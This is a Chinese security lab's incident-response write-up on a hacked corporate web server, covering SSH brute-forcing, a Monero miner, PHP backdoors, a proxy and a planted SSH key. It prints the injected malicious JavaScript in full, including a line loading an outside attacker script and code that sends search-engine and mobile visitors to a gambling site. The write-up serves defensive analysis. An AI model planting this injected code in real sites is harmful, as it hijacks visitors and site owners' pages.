「拯救大冤种」记一次服务器入侵事件的应急响应

2022-09-28 11,118

0x01 事件背景


8月某日,客户官网被黑,需在特定时间内完成整改。为避免客户业务受到影响,

实验室相关人员第一时间展开本次攻击事件的应急处理。



0x02 事件分析


网站源码被篡改,攻击者一定获取到了权限,那么接下来的思路就是推测攻击者入侵手段,找到业务脆弱点,对服务器进行全方位排查,找到攻击者留下来的痕迹并进行分析处理。


2.1 信息收集


与客户简单沟通后,得知如下基本信息:

  • 官网服务器为租赁的阿里云VPS

  • VPS服务器上部署的官网后台使用了DedeCMS织梦系统

  • VPS服务器安装了宝塔面板服务器运维系统

  • VPS服务器安装的宝塔面板的密码已被篡改


2.2 攻击入口判断


服务器开放了SSH、宝塔、DedeCMS等3个服务,那么接下来我们从服务器开放的服务来推测可能的攻击入口。


玩过宝塔的朋友都知道,宝塔后台路径未知的情况下,通过宝塔后台GetShell基本上是不可能的。此外,客户设置的BT面板的用户名也有些复杂,所以推断攻击者从宝塔下手的可能性很小(这里埋个坑,前面提到客户宝塔后台密码被修改的情况,后面会说到原因)


客户官网使用的DedeCMS版本为 v5.7 sp2,尝试所有公开漏洞均未成功。并且,DedeCMS的后台密码没有规律,所以推测从DedeCMS入侵的可能性也不是很大。


客户给出了服务器的账号密码,我们的第一反应是入侵从SSH弱口令开始的。因为我的爆破字典里包含了服务器的密码(手动笑哭),但这显然还不能直接让客户信服。



综上,高度怀疑服务器是被爆破SSH弱口令后导致了后续的入侵行为。


2.3 应急响应


在判断攻击入口后,我们登录客户的服务器,仔细抡了一遍,只能说服务器上的东西有点多。。。


2.3.1 菠菜黑页&PHP后门


首先访问客户首页,发现官网页面表面没有任何异常,也并未被重定向到***站。但是实际上网页Meta信息被篡改,且会异步请求***站和百度统计的若干接口。



推测攻击者的目的应为***站SEO优化,提高网站的SEO排名。

定位到服务器上的  DedeCMS网站源码,发现源码在7月17日被修改植入了恶意代码。



网站源码被插入2个新的meta元素,以及一段JavaScript代码。下图为新增的meta元素,解码后发现是菠菜搜索关键词。



新插入的JavaScript代码如下图所示。解码后发现是一段引用外部js的代码。


  

恶意js文件的内容为:

var _hmt = _hmt || [];(function() {  var hm = document.createElement("script"); //定义一个名为hm的script标签。  hm.src = "https://hm.baidu.com/hm.js?02bccd4ceefc73579f1931885e932bba";//给hm标签的src属性赋值。  var s = document.getElementsByTagName("script")[0]; //获取dom中第一个script标签 并将其赋值给变量s。  s.parentNode.insertBefore(hm, s);//})();
(function(){    var bp = document.createElement('script');    var curProtocol = window.location.protocol.split(':')[0];    if (curProtocol === 'https') {        bp.src = 'https://zz.bdstatic.com/linksubmit/push.js';    }    else {        bp.src = 'http://push.zhanzhang.baidu.com/push.js';    }    var s = document.getElementsByTagName("script")[0];    s.parentNode.insertBefore(bp, s);})();//if函数判断了当前浏览的网址协议是经过SSL加密过的https或者是其他类型的网址,根据不同的类型分别访问了2个JS文件。之后会将访问的JS文件内容生成脚本插入到当前的url页面中,运行该脚本则会读取对应的一个非常小体积的gif图像,在这个过程中将url地址推送到百度中。
(function(){var src = "https://jspassport.ssl.qhimg.com/11.0.1.js?d182b3f28525f2db83acfaaf6e696dba";document.write('<script src="' + src + '" id="sozz"><\/script>');})();//向页面插入<script>代码,并赋值src属性,就会去请求src地址,内容就是自动收录的代码
(function(){        var canonicalURL, curProtocol;        //Get the  tag        var x=document.getElementsByTagName("link");        //Find the last canonical URL(找到最后一个规范的URL)        if(x.length > 0){            for (i=0;i<x.length;i++){                if(x[i].rel.toLowerCase() == 'canonical' && x[i].href){                    canonicalURL=x[i].href;                }            }        }        //Get protocol(获取url协议)        if (!canonicalURL){            curProtocol = window.location.protocol.split(':')[0];        }        else{            curProtocol = canonicalURL.split(':')[0];        }        //Get current URL if the canonical URL does not exist(如果规范URL不存在,则获取当前URL)        if (!canonicalURL) canonicalURL = window.location.href;        //Assign script content. Replace current URL with the canonical URL(指定脚本内容。将当前URL替换为规范URL)        !function(){var e=/([http|https]:\/\/[a-zA-Z0-9\_\.]+\.baidu\.com)/gi,r=canonicalURL,t=document.referrer;if(!e.test(r)){var n=(String(curProtocol).toLowerCase() === 'https')?"https://sp0.baidu.com/9_Q4simg2RQJ8t7j**iCKT-xh_/s.gif":"//api.share.baidu.com/s.gif";t?(n+="?r="+encodeURIComponent(document.referrer),r&&(n+="&l="+r)):r&&(n+="?l="+r);var i=new Image;i.src=n}}(window);})();        (function (e) {    function t(e) {        var t = location.href,            n = t.split("").reverse(),            r = e.split(""),            i = [];        for (var s = 0, o = 16; s < o; s++) i.push(r[s] + (n[s] || ""));        return i.join("")    }    var n = /([http|https]:\/\/[a-zA-Z0-9\_\.]+\.so\.com)/gi,        r = e.location.href;    if (r && !n.test(r) && window.navigator.appName) {        var i = "https://s.360.cn/so/zz.gif",            o = "d182b3f28525f2db83acfaaf6e696dba",            u = t(o),            a = new Image;        r && (i += "?url=" + encodeURIComponent(r)), o && (i += "&sid=" + o), u && (i += "&token=" + u), o && (a.src = i)    }})(window);//加载一个 gif 图片,后面缀上当前 URL 和网站标识,360自动收录代码。
! function () {    var e = /([http|https]:\/\/[a-zA-Z0-9\_\.]+\.baidu\.com)/gi,        r = window.location.href,        t = document.referrer;    if (!e.test(r)) {        var o = "https://sp0.baidu.com/9_Q4simg2RQJ8t7j**iCKT-xh_/s.gif";        t ? (o += "?r=" + encodeURIComponent(document.referrer), r && (o += "&l=" + r)) : r && (o += "?l=" + r);        var i = new Image;        i.src = o    }}(window);//百度自动推送文章收录代码
document.writeln("<script language='javascript' type='text/javascript' src='https://sjbgw2022.com/tb.js'></script>");//在页面插入script代码,并赋值src属性,然后请求src的内容https://sjbgw2022.com/tb.js


此文件的作用就是插入https://sjbgw2022.com/tb.js的恶意文件以及对恶意SEO优化。

继续查看tb.js这个文件内容:

//这里省略一大段代码,因为代码内容与ly.js内容一致都是对恶意SEO的优化//上面的代码与之前一样作用就是推送自动收录。//JS正则表达式判断来路,如果是下列搜索引擎则指定跳转网址。var regexp=/\.(sogou|soso|baidu|bsb|youdao|lanjie|bing|118114|biso|sm|qq|so|safe|toutiao|biso|360)(\.[a-z0-9\-]+){1,2}\//ig;var where =document.referrer;if(regexp.test(where)){window.location.href="https://tb04.cc/";//满足就跳转至菠菜页面。}
//更详细的检测,判断是否包含搜索引擎字段,是则跳转至菠菜页面。 var sp_regexps =  /\.(yahoo|google|baidu|soso|sogou|bing|sou|so|360|haosou|youdao|sooule|easou|aliyun|sina|jike|Yisou|uc|sm)\./gi;var sp_whereis = window.location.referrer;try {  sp_whereis = top.document.referrer;} catch (e) {}try {  sp_whereis = window.parent.document.referrer;} catch (e) {}var sp_domains = window.location.host;try {  sp_domains = top.document.domain;} catch (e) {}try {  sp_domains = window.parent.document.domain;} catch (e) {}if (sp_regexps.test(sp_whereis)) {  window.location.href = 'https://tb04.cc';  parent.window.opener.location = 'https://tb04.cc';}
//判断是否是移动端,满足也跳转至菠菜页面。function browserRedirect() {  var sUserAgent = navigator.userAgent.toLowerCase();  var bIsIpad = sUserAgent.match(/ipad/i) == 'ipad';  var bIsIphoneOs = sUserAgent.match(/iphone os/i) == 'iphone os';  var bIsMidp = sUserAgent.match(/midp/i) == 'midp';  var bIsUc7 = sUserAgent.match(/rv:1.2.3.4/i) == 'rv:1.2.3.4';  var bIsAndroid = sUserAgent.match(/android/i) == 'android';  var bIsCE = sUserAgent.match(/windows ce/i) == 'windows ce';  var bIsWM = sUserAgent.match(/windows mobile/i) == 'windows mobile';  if (!(bIsIphoneOs || bIsMidp || bIsAndroid || bIsCE || bIsWM)) {  } else {    window.location.href = 'https://tb04.cc';  }}browserRedirect();


发现这个文件的作用是恶意SEO优化,判断访问网站的来路,如果是从搜索引擎过来的就会跳转至菠菜页面,如果是直接访问官网则不会有变化。菠菜页面截图如下所示:



此外,在DedeCMS源码目录发现了很多PHP后门。



2.3.2 宝塔沦陷


接下来我们进行了日志排查,发现系统日志都已经被清理。



前面说到宝塔密码已被修改,那么为了登入宝塔,我们直接修改宝塔密码。在服务器上输入bt命令进行修改。



登入宝塔后台后,我们发现最后一次登录时间为7月16日,攻击者上传了一个名为zxc.php的木马文件。



网站日志未被删除,日志显示攻击者在7月17日通过zxc.php上传大量后门文件,下图为日志访问记录截图。



下图为一个PHP大马的截图。



综上所述,推断攻击者是菠菜SEO黑产组织,攻击手法为利用SSH弱口令远程登录服务器,修改宝塔后台密码后上传木马,进而通过代理机器继续上传其它木马文件。这是2.2节中所述的宝塔密码被篡改的原因。


2.3.3 门罗币挖矿木马


服务器上的问题还不仅仅是被挂黑页这么简单。服务器进程排查过程中发现,某进程CPU占用率特别高,不出意外就是挖矿程序了。



跟踪定位文件位置为/root/.warmup/。



发现挖矿配置文件/root/.warmup/config.json。



从网络通联信息发现矿池地址为5.133.65.53至5.133.65.56的IP段。威胁情报表明这是一个门罗币矿池。



杀死挖矿进程后程序自启动,删除挖矿文件后发现过一段时间文件会被重新下载并运行。这说明存在挖矿守护进程或定时任务。经分析,发现一个5月7日就创建的定时挖矿任务。



somescript文件内容为创建一个挖矿自启动服务warmup,保证进程或文件被删除后能重新加载挖矿程序。



2.3.4 Xray代理


Xray是V2ray的一个分支(Fork)。Xray项目基于V2ray而来,其支持并且兼容V2ray的配置,其官方网站为(https://xtls.github.io/Xray-docs-next/),我们在进程排查中发现有Xray程序正在运行。



Xray程序最后一次运行时间为8月17日。



2.3.5 SSH后门


最后,除了后门、定时任务外,继续查看服务器上是否有攻击者留下的维权手段。我们发现服务器在5月9日被写入SSH公钥,经确认不是客户所为。




0x03 应急处理


客户有业务数据备份,那么处理和加固就简单多了。我们对服务器进行了如下操作:

  1. 重置系统服务器;

  2. 修改服务器、系统后台的口令,加强口令复杂度,避免出现连续性口令;

  3. 自定义日志目录,避免日志被删除;

  4. 网站目录设置除root外所有用户禁止写入;

  5. 上传目录做权限设置。



0x04 事件还原与总结


我们推测攻击者不止一个,并且都是通过SSH弱口令入侵服务器。事件时间线如下图所示:



第一波攻击者可能是挖矿组织,在5月7日大概率利用SSH弱口令进入服务器上传挖矿程序somescript,且做了对应的维持手段。


第二波攻击者可能是黑产组织,攻击时间为7月16日至7月17日,其操作是对网站做黑帽SEO,更改宝塔后台并上传大量后门。


第三波攻击者应该只是想控制一批跳板机,在8月17日上传了代理程序,目前在服务器上出现的恶意事件最后截止也是到8月17日。




END

    作者 |gdqian

编辑 |Ann



本文作者:知微攻防实验室

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/188073.html

Tags:
评论  (0)
快来写下你的想法吧!

知微攻防实验室

文章数:17 积分: 70

专注物联网安全研究,于细微处下功夫,构筑物联网安全防御体系

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号